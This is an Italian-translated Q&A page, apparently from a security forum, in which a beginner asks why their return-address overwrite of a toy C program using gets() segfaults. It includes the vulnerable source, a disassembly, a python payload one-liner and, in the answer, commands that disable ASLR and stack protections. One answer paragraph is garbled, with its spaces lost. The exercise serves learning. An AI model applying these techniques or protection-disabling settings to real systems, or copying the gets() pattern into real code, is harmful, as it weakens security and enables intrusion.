Problem exploiting Buffer Overflow in un semplice programma C.

Question

Problem exploiting Buffer Overflow in un semplice programma C.

#1 da (3 voti)

2

Sono nuovo agli exploit Buffer Overflow e ho iniziato con un semplice programma C. Il mio programma è il seguente:

#include <stdio.h>
#include <strings.h>


void execs(void){
    printf("yay!!");
}

void return_input (void)
{
    char array[30];
    gets(array);
}

int main()
{
    return_input();
    return 0;
}

Ho compilato il programma precedente con cc disabilitando stack protector come:

cc test.c -o test -fno-stack-protector

Il dump del file elf usando objdump è il seguente:

0804843b <execs>:
 804843b:   55                      push   %ebp
 804843c:   89 e5                   mov    %esp,%ebp
 804843e:   83 ec 08                sub    $0x8,%esp
 8048441:   83 ec 0c                sub    $0xc,%esp
 8048444:   68 10 85 04 08          push   $0x8048510
 8048449:   e8 b2 fe ff ff          call   8048300 <printf@plt>
 804844e:   83 c4 10                add    $0x10,%esp
 8048451:   90                      nop
 8048452:   c9                      leave  
 8048453:   c3                      ret    

08048454 <return_input>:
 8048454:   55                      push   %ebp
 8048455:   89 e5                   mov    %esp,%ebp
 8048457:   83 ec 28                sub    $0x28,%esp
 804845a:   83 ec 0c                sub    $0xc,%esp
 804845d:   8d 45 da                lea    -0x26(%ebp),%eax
 8048460:   50                      push   %eax
 8048461:   e8 aa fe ff ff          call   8048310 <gets@plt>
 8048466:   83 c4 10                add    $0x10,%esp
 8048469:   90                      nop
 804846a:   c9                      leave  
 804846b:   c3                      ret    

0804846c <main>:
 804846c:   8d 4c 24 04             lea    0x4(%esp),%ecx
 8048470:   83 e4 f0                and    $0xfffffff0,%esp
 8048473:   ff 71 fc                pushl  -0x4(%ecx)
 8048476:   55                      push   %ebp
 8048477:   89 e5                   mov    %esp,%ebp
 8048479:   51                      push   %ecx
 804847a:   83 ec 04                sub    $0x4,%esp
 804847d:   e8 d2 ff ff ff          call   8048454 <return_input>
 8048482:   b8 00 00 00 00          mov    $0x0,%eax
 8048487:   83 c4 04                add    $0x4,%esp
 804848a:   59                      pop    %ecx
 804848b:   5d                      pop    %ebp
 804848c:   8d 61 fc                lea    -0x4(%ecx),%esp
 804848f:   c3                      ret

Quindi, per sfruttare il buffer ( array ), dobbiamo trovare il numero di byte allocati nel frame dello stack return_input che guardando il dump,

lea    -0x26(%ebp),%eax

è 0x26 in esadecimale o approssimativamente 38 in decimale. Quindi, dando input come:

38+4(random chars)+(return addr of execs)

eseguirà la funzione execs . Ho usato il seguente:

python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test

Ma l'output era:

Segmentation fault(core dumped)

Quando ho aperto core (core dumped file) usando gdb , ho scoperto che l'errore di segmentazione si verificava quando si eseguiva sul seguente indirizzo:

0xb76f2300

Versione di Ubuntu: 16.10

Versione kernel: 4.8.0-46-generici

Cosa stavo facendo male? Gentilmente aiutami.

Grazie.

c exploit buffer-overflow

posta Panther Coder 09.06.2017 - 16:44

fonte

1 risposta

Leggi altre domande sui tag c exploit buffer-overflow

Il danneggiamento di più byte di un zip crittografato lo rende irrecuperabile? Il nuovo WannaCry può influire sui dati del file system Linux ext4 da Windows?

score 3 · Answer 1

EDIT: Ora credo che il tuo kernel sia sulla tua strada, ma non sono del tutto sicuro di come, vedi il fondo per l'addendum.

ORIGINALE: OK, quindi ho compilato la mia versione utilizzando il tuo codice sorgente esatto, penso che il tuo problema principale sia saltare un passaggio tra objdump e l'uso dell'indirizzo. È sempre una buona idea assicurarsi di localizzare l'indirizzo corretto trovandolo anche in gdb, a volte dobbiamo assicurarci che l'indirizzo che vediamo in objdump sia effettivamente quello che incontriamo durante l'esecuzione in gdb.

Il resto di ciò che hai fatto sembra soddisfacente, e ho cercato di seguire passi simili e ho avuto successo:

ha trovato il mio indirizzo di funzione e navigato in un punto vicino a dove avviene la prima spinta:

Ilmioindirizzosembraesserefresco0x00401460.Oracapiscodovehobisognodelmiooverflow,ilmetodochehaiusatoèfantastico,imopigroehofattosoloalcuneproveederrori:

dopoèstatosoloquestionediinserirelemieistruzioniineip:

Tutto sommato, l'unica cosa che facevo diverso da te era il doppio controllo dell'indirizzo EIP che stavo usando prima di tentare di sfruttare. Questa è l'unica cosa che posso pensare che ti stia incasinando. Perché tutto il resto che hai fatto sembra corretto e non ho nemmeno avuto problemi ad usare il tuo metodo.

EDIT:

Dopo aver pensato a questo, forse la vera differenza è il nostro sistema operativo. Linux ha protezioni contro questo genere di cose e alcune cose devono essere affrontate per consentire gli overflow nei programmi compilati. C'è un'altra grande differenza e questo è il compilatore.

Non so quale versione del kernel possiedi ma prova quanto segue:

sysctl -w kernel.randomize_va_space=0
gcc prog.c -o prog -fno-stack-protector -D_FORTIFY_SOURCE=0 -z execstack

Se ciò non funziona, (prima annulla il comando sysctl), puoi provare un vecchio kernel in un vm, come ubuntu 9 o qualcosa del genere. Quindi prova i comandi sopra riportati qui.

Ma temo di non aver provato a disabilitare la protezione dello stack su kernel più moderni. quindi non so se sarebbe sufficiente per far funzionare questo. Quello che posso dire è questo, penso che tu abbia capito bene. Qualcosa è sulla tua strada e non sono sicuro di cosa sia. Per quanto riguarda l'exploit, non vedo nulla di sbagliato in ciò che hai fatto. Speriamo che qualcun altro possa vedere il vero problema in modo più chiaro, ma ciò che credo che sta succedendo è che le protezioni del kernel a livello di sistema stanno prendendo il sopravvento impedendo che l'exploit dell'overflow salti sull'indirizzo desiderato.